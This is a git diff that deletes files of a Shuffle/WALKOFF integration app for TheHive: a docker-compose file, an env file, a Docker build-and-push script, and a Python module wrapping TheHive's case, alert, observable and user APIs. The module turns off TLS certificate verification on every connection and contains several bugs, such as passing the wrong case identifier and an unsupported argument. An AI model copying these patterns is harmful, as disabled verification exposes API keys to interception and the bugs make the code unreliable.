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 \ No newline at end of file diff --git a/thehive/1.1.2/docker-compose.yml b/thehive/1.1.2/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/thehive/1.1.2/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/thehive/1.1.2/env.txt b/thehive/1.1.2/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/thehive/1.1.2/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/thehive/1.1.2/requirements.txt b/thehive/1.1.2/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/thehive/1.1.2/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/thehive/1.1.2/run b/thehive/1.1.2/run deleted file mode 100644 index 7c7c2c69..00000000 --- a/thehive/1.1.2/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/thehive/1.1.2/src/app.py b/thehive/1.1.2/src/app.py deleted file mode 100644 index 336522f5..00000000 --- a/thehive/1.1.2/src/app.py +++ /dev/null @@ -1,757 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models -from thehive4py.models import * - -from walkoff_app_sdk.app_base import AppBase - - -class TheHive(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.1.0" - app_name = "thehive" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # def run_analyzer(self, apikey, url, title_query): - # self.thehive = TheHiveApi(url, apikey, cert=False) - - # response = self.thehive.find_cases(query=String("title:'%s'" % title_query), range='all', sort=[]) - # return response.text - - def __connect_thehive(self, url, apikey, organisation): - if organisation: - self.thehive = TheHiveApi( - url, apikey, cert=False, organisation=organisation - ) - else: - self.thehive = TheHiveApi(url, apikey, cert=False) - - def search_case_title(self, apikey, url, organisation, title_query): - self.__connect_thehive(url, apikey, organisation) - - response = self.thehive.find_cases( - query=ContainsString("title", title_query), range="all", sort=[] - ) - - return response.text - - def custom_search( - self, apikey, url, organisation, search_for, custom_query, range="all" - ): - self.__connect_thehive(url, apikey, organisation) - - try: - custom_query = json.loads(custom_query) - except: - # raise IOError("Invalid JSON payload received.") - pass - - if search_for == "alert": - response = self.thehive.find_alerts( - query=custom_query, range="all", sort=[] - ) - else: - response = self.thehive.find_cases(query=custom_query, range="all", sort=[]) - - if ( - response.status_code == 200 - or response.status_code == 201 - or response.status_code == 202 - ): - return response.text - else: - raise IOError(response.text) - - def add_case_artifact( - self, apikey, url, organisation, case_id, data, datatype, tags - ): - self.__connect_thehive(url, apikey, organisation) - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - item = thehive4py.models.CaseObservable( - dataType=datatype, - data=data, - tlp=1, - ioc=False, - sighted=False, - tags=tags, - message="Created by shuffle", - ) - - return self.thehive.create_case_observable(id, item).text - - def search_alert_title( - self, apikey, url, organisation, title_query, search_range="0-25" - ): - self.__connect_thehive(url, apikey, organisation) - - # Could be "all" too - if search_range == "": - search_range = "0-25" - - response = self.thehive.find_alerts( - query=ContainsString("title", title_query), range=search_range, sort=[] - ) - - return response.text - - def create_case( - self, - apikey, - url, - organisation, - template, - title, - description="", - tlp=1, - severity=1, - tags="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-2, not %s" % tlp - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 0-2, not %s" % tlp - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 2 or severity < 0: - return "Severity needs to be a number from 0-2, not %d" % tlp - - Casetemplate = template if template else None - - case = thehive4py.models.Case( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - template=Casetemplate, - ) - - try: - ret = self.thehive.create_case(case) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert( - self, - apikey, - url, - organisation, - type, - source, - sourceref, - title, - description="", - tlp=1, - severity=1, - tags="", - artifacts="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-3, not %s" % tlp - - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 1-3, not %s" % severity - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 3 or severity < 1: - return "Severity needs to be a number from 1-3, not %d" % severity - - all_artifacts = [] - if artifacts != "": - # print("ARTIFACTS: %s" % artifacts) - if isinstance(artifacts, str): - # print("ITS A STRING!") - try: - artifacts = json.loads(artifacts) - except: - print("[ERROR] Error in parsing artifacts!") - - # print("ART HERE: %s" % artifacts) - # print("ART: %s" % type(artifacts)) - if isinstance(artifacts, list): - print("ITS A LIST!") - for item in artifacts: - print("ITEM: %s" % item) - try: - artifact = thehive4py.models.AlertArtifact( - dataType=item["data_type"], - data=item["data"], - ) - - try: - artifact["message"] = item["message"] - except: - pass - - if item["data_type"] == "ip": - try: - if item["is_private_ip"]: - message += " IP is private." - except: - pass - - all_artifacts.append(artifact) - except KeyError as e: - print("Error in artifacts: %s" % e) - - alert = thehive4py.models.Alert( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - type=type, - source=source, - sourceRef=sourceref, - artifacts=all_artifacts, - ) - - try: - ret = self.thehive.create_alert(alert) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert_artifact( - self, - apikey, - url, - organisation, - alert_id, - dataType, - data, - message=None, - tlp="2", - ioc="False", - sighted="False", - ignoreSimilarity="False", - tags=None, - ): - self.__connect_thehive(url, apikey, organisation, version=4) - - if tlp: - tlp = int(tlp) - else: - tlp = 2 - - ioc = ioc.lower().strip() == "true" - sighted = sighted.lower().strip() == "true" - ignoreSimilarity = ignoreSimilarity.lower().strip() == "true" - - if tags: - tags = [x.strip() for x in tags.split(",")] - else: - tags = [] - - alert_artifact = thehive4py.models.AlertArtifact( - dataType=dataType, - data=data, - message=message, - tlp=tlp, - ioc=ioc, - sighted=sighted, - ignoreSimilarity=ignoreSimilarity, - tags=tags, - ) - - try: - ret = self.thehive.create_alert_artifact(alert_id, alert_artifact) - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - if ret.status_code > 299: - raise ConnectionError(ret.text) - - return ret.text - - # Gets an item based on input. E.g. field_type = Alert - def get_item(self, apikey, url, organisation, field_type, cur_id): - self.__connect_thehive(url, apikey, organisation) - - newstr = "" - ret = "" - if field_type.lower() == "alert": - ret = self.thehive.get_alert(cur_id + "?similarity=1") - elif field_type.lower() == "case": - ret = self.thehive.get_case(cur_id) - elif field_type.lower() == "case_observables": - ret = self.thehive.get_case_observables(cur_id) - elif field_type.lower() == "case_task": - ret = self.thehive.get_case_task(cur_id) - elif field_type.lower() == "case_tasks": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "case_template": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "linked_cases": - ret = self.thehive.get_linked_cases(cur_id) - elif field_type.lower() == "task_log": - ret = self.thehive.get_task_log(cur_id) - elif field_type.lower() == "task_logs": - ret = self.thehive.get_task_logs(cur_id) - else: - return ( - "%s is not implemented. See https://github.com/frikky/shuffle-apps for more info." - % field_type - ) - - return ret.text - - def close_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_read(alert_id).text - - def reopen_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_unread(alert_id).text - - def create_case_from_alert( - self, apikey, url, organisation, alert_id, case_template=None - ): - self.__connect_thehive(url, apikey, organisation) - response = self.thehive.promote_alert_to_case( - alert_id=alert_id, case_template=case_template - ) - return response.text - - def merge_alert_into_case(self, apikey, url, organisation, alert_id, case_id): - self.__connect_thehive(url, apikey, organisation) - req = url + f"/api/alert/{alert_id}/merge/{case_id}" - ret = requests.post(req, auth=self.thehive.auth) - return ret.text - - # Not sure what the data should be - def update_field( - self, apikey, url, organisation, field_type, cur_id, field, data - ): - # This is kinda silly but.. - if field_type.lower() == "alert": - newdata = {} - - if data.startswith("%s"): - ticket = self.thehive.get_alert(cur_id) - if ticket.status_code != 200: - pass - - newdata[field] = "%s%s" % (ticket.json()[field], data[2:]) - else: - newdata[field] = data - - # Bleh - url = "%s/api/alert/%s" % (url, cur_id) - if field == "status": - if data == "New" or data == "Updated": - url = "%s/markAsUnread" % url - elif data == "Ignored": - url = "%s/markAsRead" % url - - ret = requests.post( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - ) - else: - ret = requests.patch( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - json=newdata, - ) - - return str(ret.status_code) - else: - return ( - "%s is not implemented. See https://github.com/frikky/walkoff-integrations for more info." - % field_type - ) - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def delete_alert_artifact(self, apikey, url, organisation, artifact_id): - self.__connect_thehive(url, apikey, organisation, version=4) - return self.thehive.delete_alert_artifact(artifact_id).text - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def run_analyzer( - self, apikey, url, organisation, cortex_id, analyzer_id, artifact_id - ): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.run_analyzer(cortex_id, artifact_id, analyzer_id).text - - # Creates a task log in TheHive with file - def create_task_log( - self, apikey, url, organisation, task_id, message, filedata={} - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - data = {"_json": """{"message": "%s"}""" % message} - response = requests.post( - "%s/api/case/task/%s/log" % (url, task_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - # Creates an observable as a file in a case - def create_case_file_observable( - self, apikey, url, organisation, case_id, tags, filedata - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/case/%s/artifact" % (url, case_id), - headers=headers, - files=files, - data=data, - verify=False, - ) - return response.text - - # Get all artifacts of a given case - def get_case_artifacts( - self, - apikey, - url, - organisation, - case_id, - dataType, - ): - self.__connect_thehive(url, apikey, organisation) - - query = And(Eq("dataType", dataType)) if dataType else {} - - # Call the API - response = self.thehive.get_case_observables( - case_id, query=query, sort=["-startDate", "+ioc"], range="all" - ) - - # Display the result - if response.status_code == 200: - # Get response data - list = response.json() - - # Display response data - return ( - json.dumps(list, indent=4, sort_keys=True) - if list - else json.dumps( - {"status": 200, "message": "No observable results"}, - indent=4, - sort_keys=True, - ) - ) - else: - return f"Failure: {response.status_code}/{response.text}" - - # Update TheHive Case - def update_case( - self, - apikey, - url, - organisation, - cur_id, - title="", - description="", - severity=None, - owner="", - flag=None, - tlp=None, - pap=None, - tags="", - status="", - resolution_status="", - impact_status="", - summary="", - custom_fields=None, - custom_json=None, - ): - self.__connect_thehive(url, apikey, organisation) - - # Get current case data and update fields if new data exists - case = self.thehive.get_case(cur_id).json() - case_title = title if title else case["title"] - case_description = description if description else case["description"] - case_severity = int(severity) if severity else case["severity"] - case_owner = owner if owner else case["owner"] - case_flag = ( - (False if flag.lower() == "false" else True) if flag else case["flag"] - ) - case_tlp = int(tlp) if tlp else case["tlp"] - case_pap = int(pap) if pap else case["pap"] - case_tags = tags.split(",") if tags else case["tags"] - case_status = status if status else case["status"] - case_resolutionStatus = ( - resolution_status if resolution_status else case["resolutionStatus"] - ) - case_impactStatus = impact_status if impact_status else case["impactStatus"] - case_summary = summary if summary else case["summary"] - case_customFields = case["customFields"] - - # Prepare the customfields - customfields = CustomFieldHelper() - if case_customFields: - for key, value in case_customFields.items(): - if list(value)[0] == "integer": - customfields.add_integer(key, list(value.items())[0][1]) - elif list(value)[0] == "string": - customfields.add_string(key, list(value.items())[0][1]) - elif list(value)[0] == "boolean": - customfields.add_boolean(key, list(value.items())[0][1]) - elif list(value)[0] == "float": - customfields.add_float(key, list(value.items())[0][1]) - else: - print( - f'The value type "{value}" of the field {key} is not suported by the function.' - ) - - custom_fields = json.loads(custom_fields) if custom_fields else {} - for key, value in custom_fields.items(): - if type(value) == int: - customfields.add_integer(key, value) - elif type(value) == str: - customfields.add_string(key, value) - elif type(value) == bool: - customfields.add_boolean(key, value) - elif type(value) == float: - customfields.add_float(key, value) - else: - print( - f'The value type "{value}" of the field {key} is not suported by the function.' - ) - - customfields = customfields.build() - - custom_json = json.loads(custom_json) if custom_json else {} - - # Prepare the fields to be updated - case = Case( - id=cur_id, - title=case_title, - description=case_description, - severity=case_severity, - owner=case_owner, - flag=case_flag, - tlp=case_tlp, - pap=case_pap, - tags=case_tags, - status=case_status, - resolutionStatus=case_resolutionStatus, - impactStatus=case_impactStatus, - summary=case_summary, - customFields=customfields, - json=custom_json, - ) - - result = self.thehive.update_case( - case, - fields=[ - "title", - "description", - "severity", - "owner", - "flag", - "tlp", - "pap", - "tags", - "status", - "resolutionStatus", - "impactStatus", - "summary", - "customFields", - ], - ) - - return json.dumps(result.json(), indent=4, sort_keys=True) - - # Get TheHive Organisations - def get_organisations( - self, - apikey, - url, - organisation, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - response = requests.get( - f"{url}/api/organisation", - headers=headers, - verify=False, - ) - - return response.text - - # Create TheHive Organisation - def create_organisation( - self, - apikey, - url, - organisation, - name, - description, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - data = {"name": f"{name}", "description": f"{description}"} - - response = requests.post( - f"{url}/api/organisation", - headers=headers, - json=data, - verify=False, - ) - - return response.text - - # Create User in TheHive - def create_user( - self, - apikey, - url, - organisation, - login, - name, - profile, - ): - headers = { - "Authorization": f"Bearer {apikey}", - "Content-Type": "application/json", - } - - data = { - "login": f"{login}", - "name": f"{name}", - "profile": f"{profile}", - "organisation": f"{organisation}", - } - - response = requests.post( - f"{url}/api/v1/user", - headers=headers, - json=data, - verify=False, - ) - - return response.text - - -if __name__ == "__main__": - TheHive.run() diff --git a/thehive/1.1.3/Dockerfile b/thehive/1.1.3/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/thehive/1.1.3/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/thehive/1.1.3/api.yaml b/thehive/1.1.3/api.yaml deleted file mode 100644 index 75c8f97e..00000000 --- a/thehive/1.1.3/api.yaml +++ /dev/null @@ -1,1225 +0,0 @@ -walkoff_version: 1.1.3 -app_version: 1.1.3 -name: thehive -description: TheHive implementation for Shuffle -tags: - - Ticketing - - Search -categories: - - Cases - - Ticketing - - Search -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky 